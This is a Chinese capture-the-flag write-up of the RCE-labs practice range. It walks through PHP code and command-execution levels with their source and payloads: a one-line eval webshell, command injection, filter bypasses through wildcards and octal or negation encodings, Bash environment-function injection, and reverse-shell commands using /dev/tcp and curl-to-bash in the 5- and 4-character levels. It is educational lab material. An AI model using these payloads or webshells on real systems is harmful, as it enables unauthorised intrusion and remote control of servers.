本文最后更新于 2026-10-07T23:59:54+08:00
前言 还是大一学RCE的时候打的一个练习靶场,熟悉一些RCE相关的考点,重新简单整理一下,本来当时打的时候好像在helloctf还是哪个平台有在线的,但是现在好像没有了,这里就贴一下源码吧,想打的可以自己在本地搭建 源码:https://github.com/ProbiusOfficial/RCE-labs
后来又发现其实在NSS平台上可以搜到
RCELABS-0: 代码执行&命令执行 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 This will get the flag by eval PHP code: HelloCTF{Default_Flag}'This will get the flag by Linux bash command - cat /flag: ' ;cat /flag <?php include ("get_flag.php" );$code = "include('flag.php');echo 'This will get the flag by eval PHP code: '.\$flag;" ;$bash = "echo 'This will get the flag by Linux bash command - cat /flag: ';cat /flag" ;eval ($code );echo "<br>" ;system ($bash );highlight_file (__FILE__ );?>
哈哈直接白给
RCELABS-1:一句话木马和代码执行 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php include ("get_flag.php" );eval ($_POST ['a' ]);highlight_file (__FILE__ );?>
很明显的一句话木马,做法有好几种,可以直接传参执行命令,也可以用蚁剑连接
post传参参数名为a,利用hackbar,在post参数中写入php代码
ls查看文件名
查看根目录下的文件,看到flag文件
cat命令读flag文件
payload
RCELABS-2:PHP代码执行函数 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 <?php include ("get_flag.php" );global $flag ;session_start (); function hello_ctf ($function , $content ) { global $flag ; $code = $function . "(" . $content . ");" ; echo "Your Code: $code <br>" ; eval ($code ); }function get_fun ( ) { $func_list = ['eval' ,'assert' ,'call_user_func' ,'create_function' ,'array_map' ,'call_user_func_array' ,'usort' ,'array_filter' ,'array_reduce' ,'preg_replace' ]; if (!isset ($_SESSION ['random_func' ])) { $_SESSION ['random_func' ] = $func_list [array_rand ($func_list )]; } $random_func = $_SESSION ['random_func' ]; $url_fucn = preg_replace ('/_/' , '-' , $_SESSION ['random_func' ]); echo "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function." .$url_fucn .".php 查看函数详情。<br>" ; return $_SESSION ['random_func' ]; }function start ($act ) { $random_func = get_fun (); if ($act == "r" ){ session_unset (); session_destroy (); } if ($act == "submit" ){ $user_content = $_POST ['content' ]; hello_ctf ($random_func , $user_content ); } }isset ($_GET ['action' ]) ? start ($_GET ['action' ]) : '' ;highlight_file (__FILE__ );?>
payload
会随机给出一个函数,后面又对应的url可以查看函数的用用法
payload
即可获得这个函数,根据源码
1 2 3 4 if ($act == "submit" ){ $user_content = $_POST ['content' ]; hello_ctf ($random_func , $user_content ); }
get参数值为submit时即可进行POST传参,这里调用了一个自定义的函数hello_ctf
1 2 3 4 5 6 function hello_ctf ($function , $content ) { global $flag ; $code = $function . "(" . $content . ");" ; echo "Your Code: $code <br>" ; eval ($code ); }
hello_ctf函数中有两个变量,将flag设置成了全局变量,传入的两个变量会以$code = $function . "(" . $content . ");";的形式拼接,也就是相当于$function作为方法/函数,$content作为参数值整体赋给$code变量,最后由eval执行,所以上面传入的参数一个就随机获得的函数,另一个就是content的参数值,那直接利用print打印出flag
payload
1 2 ?action =submitcontent =print($flag)
RCELABS-3:命令执行 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 Warning: system (): Cannot execute a blank command in D:\Tools\Web\phpstudy_pro\WWW\RCE-labs-main\Level 3 \index.php on line 21 <?php system ($_POST ['a' ]);highlight_file (__FILE__ );?>
就只有一句源码,这个system函数是执行php代码的函数,传入的值可以直接是命令
payload
RCELABS-4:命令执行 - SHELL 运算符 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php function hello_server ($ip ) { system ("ping -c 1 $ip " ); }isset ($_GET ['ip' ]) ? hello_server ($_GET ['ip' ]) : null ;highlight_file (__FILE__ );?>
在源码里看到传入的值是ping命令的参数,这里就可以利用管道分隔符进行一个命令执行
管道分隔符的原理就是可以即执行分号前面的语句同时也执行分号后面的语句,常见的管道分隔符有;(用于Linux系统),|(用于Windows系统)
那这里就是get传参ip传了个本地回环地址,用命令分隔符;,这个不管前面是否执行成功,都能执行后面的命令,所以直接在后面输入命令
payload
RCELABS-5:空字符忽略和通配符 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php function hello_shell ($cmd ) { if (preg_match ("/flag/" , $cmd )){ die ("WAF!" ); } system ($cmd ); }isset ($_GET ['cmd' ]) ? hello_shell ($_GET ['cmd' ]) : null ;highlight_file (__FILE__ );?>
preg_match()函数过滤掉了flag文件名,若出现会显示waf就是黑名单,其他就是get传参,参数名为cmd,又是system($cmd),直接在参数值中输入命令执行
出现了flag的文件名,显示waf,利用通配符*或者?来绕过
payload
RCELABS-6:waf绕过 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php function hello_shell ($cmd ) { if (preg_match ("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/" , $cmd )){ die ("WAF!" ); } system ($cmd ); }isset ($_GET ['cmd' ]) ? hello_shell ($_GET ['cmd' ]) : null ;highlight_file (__FILE__ );?>
又是preg_match函数,但这次ban掉了几乎所有字母除了a还有很多符号,因此执行命令需要用到绕过文件名和指令,然后我们执行命令肯定还是想执行cat /flag或者他从/flag对吧。在下面我们可以看到”/???”匹配出来有这些然后我们想要“cat”那么cat在哪个目录下呢(bin)然后我们尝试来找这个cat的指令呗,第一行第四个可以看到有cat,所以这题的payload
相当于
RCELABS-7:终端特殊字符 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php function hello_shell ($cmd ) { if (preg_match ("/flag| /" , $cmd )){ die ("WAF!" ); } system ($cmd ); }isset ($_GET ['cmd' ]) ? hello_shell ($_GET ['cmd' ]) : null ;highlight_file (__FILE__ );?>
ban掉了空格和flag文件名
用%09或者$IFS空格绕过
payload
RCELABS-8:重定向 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php function hello_shell ($cmd ) { system ($cmd .">/dev/null 2>&1" ); }isset ($_GET ['cmd' ]) ? hello_shell ($_GET ['cmd' ]) : null ;highlight_file (__FILE__ );?>
1 system ($ cmd.">/dev/null 2>&1" );
输入命令后会与”>/dev/null 2>&1”拼接,而该命令会将内容屏蔽掉,就是无回显
输入命令后在结尾用分隔符隔开,;是前后命令均执行,因此可以执行前面输入的命令并查看到内容
或者可以写文件查看,同样用分隔符隔开执行输入命令,利用>将回显结果写到1.txt文件中
payload
直接查看内容写入的文件
RCELABS-9:无字母命令执行_八进制转义 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 function hello_shell ($cmd ) { if (preg_match ("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/" , $cmd )){ die ("WAF!" ); } system ($cmd ); }isset ($_GET ['cmd' ]) ? hello_shell ($_GET ['cmd' ]) : null ;highlight_file (__FILE__ );?>
无字母需对命令进行转义
bp抓包(直接在网页修改url也可以做)
是先将ls命令进行八进制转义
ls /命令八进制转义,但因为题目中提示,空格需保留,比如"ls -l"也就是$'\154\163\40\55\154' 只能拆分为$'\154\163' 空格 $'\55\154'三部分,需写成三部分形式
payload
1 ?cmd=$'\1 54\1 63' %20 $'\5 7'
这是cat /flag命令
RCELABS-10:无字母命令执行_二进制整数替换 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php function hello_shell ($cmd ) { if (preg_match ("/[A-Za-z2-9\"%*+,-.\/:;=>?@[\]^`|]/" , $cmd )){ die ("WAF!" ); } system ($cmd ); }isset ($_GET ['cmd' ]) ? hello_shell ($_GET ['cmd' ]) : null ;highlight_file (__FILE__ );?>
这是二进制编码替换,跟上一题有点像,先bp抓包,题目源码里给了一个绕过的在线网站:https://probiusofficial.github.io/bashFuck/
用第二个编码get传参如图1,但是没有反应,好像是因为#,所以对它进行url编码
RCELABS-11:数字1的特殊变量替换
cat /flag命令用第二个转义但需把其中的1全部替换
RCELABS-12:0的特殊替换
需要将0替换
直接将cat /flag转义
将第3个转义符中的开头的$0替换,将0替换
RCELABS-13:取反 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php function hello_shell ($cmd ) { if (preg_match ("/[A-Za-z0-9\"%*+,-.\/:;>?@[\]^`|]/" , $cmd )){ die ("WAF!" ); } system ($cmd ); }isset ($_GET ['cmd' ]) ? hello_shell ($_GET ['cmd' ]) : null ;highlight_file (__FILE__ );?>
cat /flag的编码为
1 __=$( ())&&${ !__}<<<${ !__}\<\<\<\$\' \\$( (~$( ($( (~$( ())))$( (~$( ())))))))$( (~$( ($( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))))))$( (~$( ($( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))))))\\$( (~$( ($( (~$( ())))$( (~$( ())))))))$( (~$( ($( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))))))$( (~$( ($( (~$( ())))$( (~$( ())))))))\\$( (~$( ($( (~$( ())))$( (~$( ())))))))$( (~$( ($( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))))))$( (~$( ($( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))))))\\$( (~$( ($( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))))))$( ())\\$( (~$( ($( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))))))$( (~$( ($( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))))))\\$( (~$( ($( (~$( ())))$( (~$( ())))))))$( (~$( ($( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))))))$( (~$( ($( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))))))\\$( (~$( ($( (~$( ())))$( (~$( ())))))))$( (~$( ($( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))))))$( (~$( ($( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))))))\\$( (~$( ($( (~$( ())))$( (~$( ())))))))$( (~$( ($( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))))))$( (~$( ($( (~$( ())))$( (~$( ())))))))\\$( (~$( ($( (~$( ())))$( (~$( ())))))))$( (~$( ($( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))))))$( (~$( ($( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))$( (~$( ())))))))\'
但需对&&URL编码,因为&&本来是连接用的,所以最终的payload是_
1 ?cmd =_=$(())%26%26${!__} <<<${!__} \<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'
RCELABS-14:长度限制_7字符 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php highlight_file (__FILE__ );if (isset ($_GET [1 ]) && strlen ($_GET [1 ]) < 8 ){ echo strlen ($_GET [1 ]); echo '<hr/>' ; echo shell_exec ($_GET [1 ]); }else { exit ('too long' ); }?>
这里很明显限制了参数值的长度,需要小于8
get传参参数名为1,长度需小于8,用通配符*代替flag,或者nl代替cat
RCELABS-15:长度限制_5字符(failed)
这道题蛮难理解的,可以跟着这个wp看:RCE-Labs超详细WP-Level15(5字符限制RCE-文件名拼接反弹Shell命令)
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php $sandbox = '/www/sandbox/' . md5 ("orange" . $_SERVER ['REMOTE_ADDR' ]); @mkdir ($sandbox ); @chdir ($sandbox );if (isset ($_GET ['cmd' ]) && strlen ($_GET ['cmd' ]) <= 5 ) { @exec ($_GET ['cmd' ]); } else if (isset ($_GET ['reset' ])) { @exec ('/bin/rm -rf ' . $sandbox ); }highlight_file (__FILE__ );?>
这里限制了字符必须小于等于5,并且用到的执行函数是exec,可以执行命令但是不回显,那一般我们就是两个解决方法,一个是写文件,还有一个就是反弹shell
那在反弹shell之前就需要清晰一些命令,比如
>:创建文件,那么>a就是创建了一个名为a的文件
ls:查看文件
ls -t:根据文件最后的修改时间排序,越晚修改的文件就会排在前面
ls -S:按文件大小排序
\:可以用于拼接命令
那我们大概就有了一点思路了,先尝试执行命令,再把结果写到新创建的文件中,有点想套娃
为了方便理解可以先在自己的Linux系统终端尝试一下
1 2 3 4 5 6 ┌──(kali㉿kali)-[~/Desktop] └─$ l\> s\ > \ > -\ > t
可以看到上面的命令就相当于
>>:可以使前面文本追加 到后面的文件中,而改为>则是覆盖
1 2 3 4 ┌──(kali㉿kali)-[~/Desktop] └─$ echo "test" >> a ┌──(kali㉿kali)-[~/Desktop] └─$ cat a
先在题目中尝试一下
然后去访问1这个文件夹,就会下载这个1文件,用记事本你打开就可以看到
那现在就可以有一点思路尝试反弹shell了
sh a:可以执行命令,用>写入到文件中
命令测结果可以作为>前面的我参数,写入文件中
比如 ip a >a就可以把ip a执行的结果写入到文件a中
同理ls的结果是文件名也可以写入文件,执行后如下,输出的是文件名,要是想让文件名的顺序更可控可以加上一些参数比如-t
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ┌──(kali㉿kali)-[~/Desktop/test] └─$ >a ┌──(kali㉿kali)-[~/Desktop/test] └─$ >b ┌──(kali㉿kali)-[~/Desktop/test] └─$ >c ┌──(kali㉿kali)-[~/Desktop/test] └─$ ls >d ┌──(kali㉿kali)-[~/Desktop/test] └─$ cat d
那大概就清晰了
准备好反弹shell的命令和ls -t >a
拆分反弹shell的命令,设计好顺序利用>一点点写入
然后拆分ls -t>a,但是考虑到这个命令还是长了,如果用上面的方法就套娃了,所以需要另外的方法
对于ls -t>a的处理:
先把 ls -t>a(这里就写入文件a吧) 空格和 > 字符转义一下
命令被分成了两块-t>a和ls,但是顺序还是有点问题,这里就能下能到想到写两遍
这里就可以看到中间有一部分是完整的ls -t>a命令
1 2 3 4 >\ \ >-t\ >\>a (a是结尾, 不需要 `\` 拼接, 拼接反而命令错了) >ls \
但是这里还是遇到了问题,就是在kali中尝试,但是在写入a文件时命令自动结束了
原文中提醒
如果你试图把上述的代码在本地终端中运行, 你会发现, 当命令最后如果有\, 终端会认为你想在下一行接着输入命令, 但是在PHP中使用函数执行并不会有如此情况
所以当你现在本地尝试时, 末尾的 \ 记得进行转义, 即 \\
找到了解决方法,就是在写如命令之前先创建b文件,将内容写在里面
我们可以看到根据刚才的思路写两遍中间会有一段完整的命令
执行命令
发现确实多了a文件
那接下来就可以继续来解决这道题了,先在自己的服务器上监听一个端口
接下来就是要让靶机执行反弹shell的命令了
1 bash -i >&/dev/tcp/攻击机器IP/与攻击机开启端口相同 0>&1
首先我们就需要拆分这个命令,但是Linux命令中年时不允许有/出现在文件名中的,那就会和路径混乱,那为了解决这个问题我们可以把这个命令改写位脚本文件挂到攻击机上,让靶机通过访问ip下载,这里是根据这个师傅的文章写的,可能还有其他方法
1 socat -v tcp-l:80,reuseaddr,fork exec :'echo -e "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\n\r\n" bash -i >&/dev/tcp/ip/2333 0>&1'
那在写入反弹shell命令之前我们应该先按照上文的方法写入ls -t>a
1 2 3 4 5 6 > \ \ > -t\ >\>c > ls \ls >dls> >d
然后再给cmd依次写入反弹shell命令如下:(这里就是对自己服务器的ip进行一个拆分,总长度小于5就好,这里我自己服务器具体的ip就不展示了
1 2 3 4 5 6 7 8 9 10 >bash >*\|\ >*.*\ >*.\ >*\ >0. \ >2 \ >\ 1 \ >url\ >c\
这里传参可以手动传一下,但是更便捷的还是用bp抓包并发
把刚刚分析好的payload放在payload配置中,注意要在最后加上sh b和sh a
但是不知道是什么原因还是没有弹成功(给我做的崩溃了,先跳过吧
RCELABS-16:4字符RCE(failed) 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php $sandbox = '/www/sandbox/' . md5 ("orange" . $_SERVER ['REMOTE_ADDR' ]); @mkdir ($sandbox ); @chdir ($sandbox );if (isset ($_GET ['cmd' ]) && strlen ($_GET ['cmd' ]) <= 4 ) { @exec ($_GET ['cmd' ]); } else if (isset ($_GET ['reset' ])) { @exec ('/bin/rm -rf ' . $sandbox ); }highlight_file (__FILE__ );?>
这个和第15关很像
上一题的payload如下,但是有的参数长度明显超过4了,这种就可以通过利用*通配符
*可以通过*.txt来匹配当前目录下的所有.txt结尾的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 >\ \ >-t\ >\>c >ls\ ls>d ls>>d >bash >*\|\ >*.*\ >*.\ >*\ >0. \ >2 \ >\ 1 \ >url\ >c\ sh b sh a
这里就需要再引入一个命令 dir
dir 的作用跟 ls 几乎一样,但是当使用 > 将命令的结果传入文件中时, dir 并不会在文件名中间换行
这就说明
文件名之间不再需要使用 \ 拼接
当然这是指原本就是空格隔开的字段
如果是要使用 curl, 分为 cu 和 rl 两个字段, 当然也是要通过 \ 进行连接
所以通过 dir>? 写入命令,dir 默认是通过字典序的, 如果添加其他参数的话, 似乎就遇到上文 ls 一样的困境了
那这个时候在引进一个命令 rev,rev 的作用是反转字符串,如 ls -t 就会变成 t- sl
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 >dir >g\> >ht- >sl *>v >rev *v>x `curl\ VPS的ip\|bash` 的分块 >sh >ba\ >\|\ >7\ >5\ >1\ >3.\ >5.\ >5\ >0.\ >2\ >\ 1\ >url\ >c\ sh x sh g
但是也和上面一样,没有弹成功shell(
RCELABS-17:PHP命令执行函数 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php session_start (); function hello_ctf ($function , $content ) { if ($function == '``' ){ $code = '`' .$content .'`' ; echo "Your Code: $code <br>" ; eval ("echo $code " ); }else { $code = $function . "(" . $content . ");" ; echo "Your Code: $code <br>" ; eval ($code ); } }function get_fun ( ) { $func_list = ['system' , 'exec' , 'shell_exec' , 'passthru' , 'popen' ,'``' ]; if (!isset ($_SESSION ['random_func' ])) { $_SESSION ['random_func' ] = $func_list [array_rand ($func_list )]; } $random_func = $_SESSION ['random_func' ]; $url_fucn = preg_replace ('/_/' , '-' , $_SESSION ['random_func' ]); echo $random_func == '``' ? "获得隐藏运算符: 执行运算符 ,去 https://www.php.net/manual/zh/language.operators.execution.php 详情。<br>" : "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function." .$url_fucn .".php 查看函数详情。<br>" ; return $_SESSION ['random_func' ]; }function start ($act ) { $random_func = get_fun (); if ($act == "r" ){ session_unset (); session_destroy (); } if ($act == "submit" ){ $user_content = $_POST ['content' ]; hello_ctf ($random_func , $user_content ); } }isset ($_GET ['action' ]) ? start ($_GET ['action' ]) : '' ;highlight_file (__FILE__ );?>
和2很像,但这次给的passthru是有回显的函数,因此只要post传参直接输入命令就可以
RCELABS-18:环境变量注入 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php foreach ($_REQUEST ['envs' ] as $key => $val ) { putenv ("{$key} ={$val} " ); }system ('echo hello' );highlight_file (__FILE__ );?>
$_REQUEST 可以接收GET,POST传参方式
foreach($_REQUEST['envs'] as $key => $val):获取envs数组
putenv("{$key}={$val}"):将数组中的键值对通过putenv函数设置为系统环境变量
putenv的作用:可以设置当前PHP进程的环境变量,比如
1 putenv("name=Colourful" );
等价于给当前进程添加一个环境变量:
而后面又调用了system函数执行命令,那这里就有一条完整的利用链
1 2 3 4 5 6 7 8 9 用户传入 envs 参数 ↓putenv () 写入环境变量 ↓system () 启动 shell ↓ shell 读取环境变量 ↓ 触发环境变量注入
那关键就在于Bash 函数导入,Bash支持通过环境变量导入函数,格式如下
1 BASH_FUNC_函数名%%=() { 函数体; }
比如:
1 BASH_FUNC_echo% %=() { cat /flag; }
这里就是给 Bash 注入一个名为 echo 的函数,这个函数执行时运行 cat /flag,而这里我们就可以用来劫持echo,Bash启动后会把echo导入为一个函数,如
此时实际的执行效果就变成了
因此构造payload:
1 ?envs[BASH_FUNC_echo%%]=() { cat /flag; }
RCELABS-19:文件写入导致的RCE 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php ?> */function helloctf ($code ) { $code = "file_put_contents(" .$code .");" ; eval ($code ); }isset ($_GET ['c' ]) ? helloctf ($_GET ['c' ]) : '' ;highlight_file (__FILE__ );?>
file_put_contents:将数据写入文件
格式为’file(文件名)’,’data(内容命令这种)’
构造payload:
1 ?c='1.php',' <?php system ("ls /" );?> '
然后查看1.php文件,就能看到执行的结果
注写文件外面用单引号里面就要用双引号
或者构造payload直接写入一句话木马,然后蚁剑连接,
1 ?c='1.php',' <?php @eval ($_POST ['cmd' ]);?> '
然后更改url为/1.php后蚁剑连接,密码为cmd,在根目录下查看flag
RCELABS-20:文件上传导致的RCE
文件上传,在桌面写一个文件里面是一句话木马
1 <?php @eval ($_POST ['cmd' ]);?>
上传之后更改url,然后蚁剑链接直接在根目录下找到flag
RCELABS-21:文件包含导致的RCE 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php ?> ): https: https: FilterChain的Payload生成器: https: /exp.php 注意:在本关卡中你传递的内容将以字符串的方式拼接在 include () 函数中,你需要区别这与 incluude ($_GET ['file' ]) 的区别。 */function helloctf ($code ) { $code = "include(" .$code .");" ; echo "Your includeCode : " .$code ; eval ($code ); }isset ($_POST ['c' ]) ? helloctf ($_POST ['c' ]) : '' ;highlight_file (__FILE__ );?>
可以看到这道题其实不是普通的文件包含,而是将include再次放到了eval函数下执行,这里直接执行‘/flag’直接读到了可能属于非预期了,具体其他预期解这里暂时先不补充了,可以看看其他师傅的wp:【RCELABS】Level19~21 —— RCE 利用路径-CSDN博客
paylaod
RCELABS-22:动态调用 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php isset ($_GET ['a' ])&&isset ($_GET ['b' ]) ? $_GET ['a' ]($_GET ['b' ]) : null ;highlight_file (__FILE__ );?>
1 isset ($\_GET['a' ])&&isset ($_GET ['b' ]) ? $_GET ['a' ]($_GET ['b' ]) : null ;
$_GET‘a’ 表示a的参数值作为函数,b的参数值作为命令
如果满足
根据题目给出的提示修改命令即可
动态调用,a作为函数,b作为函数的参数
RCELABS-23:自增 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting (0 );highlight_file (__FILE__ );isset ($_POST ['code' ]) ? $code = $_POST ['code' ] : $code = null ;if (preg_match ("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/" , $code )){ die ("WAF!" ); }else { echo "Your Payload's Length : " .strlen ($code )."<br>" ; eval ($code ); }?>
payload
1 2 3 code =$_ =(_/_._)['' =='_' ];$_ ++;$__ = $_ ++;$__ = $_ .$__ ;$_ ++;$_ ++;$_ ++;$__ = $__ .$_ ++.$_ ++;$_ = $__ ;$__ ='_' ;$__ .=$_ ;$$__ [__]($$__ [_]); &__ =system &_ =ls
将题目给的payload复制进来,在后续执行命令ls /和cat /flag
RCELABS-24:无参命令执行 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php include ("get_flag.php" );function hello_code ($code ) { if (';' === preg_replace ('/[^\W]+\((?R)?\)/' , '' , $code )){ eval ($code ); }else { die ("O.o" ); } }isset ($_GET ['code' ]) ? hello_code ($_GET ['code' ]) : null ;highlight_file (__FILE__ );?>
无参rce,payload为
1 ?code=show_source(array _rand(array _flip(scandir(current(localeconv())))));
(函数解析在RCE漏洞的笔记里)
RCELABS-25:取反 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php function hello_code ($code ) { if (preg_match ("/[A-Za-z0-9]+/" , $code )){ die ("WAF!" ); } eval ($code ); }isset ($_GET ['code' ]) ? hello_code ($_GET ['code' ]) : null ;highlight_file (__FILE__ );?>
对system,ls /和cat /flag取反构造payload
RCELABS-26:无字母数字的代码执行 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php highlight_file (__FILE__ );isset ($_POST ['code' ]) ? $code = $_POST ['code' ] : $code = null ;if (preg_match ("/[a-z0-9]/is" , $code )){ die ("WAF!" ); }else { echo "Your Payload's Length : " .strlen ($code )."<br>" ; eval ($code ); }?>
bp抓包,依旧可以对命令进行取反绕过得到flag